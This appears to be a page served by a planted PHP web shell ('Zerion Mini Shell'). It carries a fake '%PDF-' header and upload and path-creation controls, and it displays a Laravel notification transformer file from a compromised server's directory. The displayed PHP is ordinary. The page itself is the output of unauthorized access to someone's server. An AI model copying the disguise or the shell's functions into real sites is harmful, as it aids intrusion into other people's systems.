%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api/app/Transformers/App/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api/app/Transformers/App/NotificationTransformer.php

<?php

namespace App\Transformers\App;

use App\Models\Notification;
use App\Transformers\BaseTransformer;

class NotificationTransformer extends BaseTransformer
{
    /**
     * @param Notification $notification
     *
     * @return array
     */
    public function transform(Notification $notification)
    {
        return [
            'id'         => $notification->id,
            'model_id'   => $notification->model_id,
            'model_type' => $notification->model_type,
            'text'       => trans("notifications.$notification->description", [
                'title' => $notification->model->title,
            ]),
            'is_read'    => $notification->is_read,
            'created_at' => $notification->created_at,
            'image'      => $notification->model->getFeaturedImage(),
        ];
    }

}

Zerion Mini Shell 1.0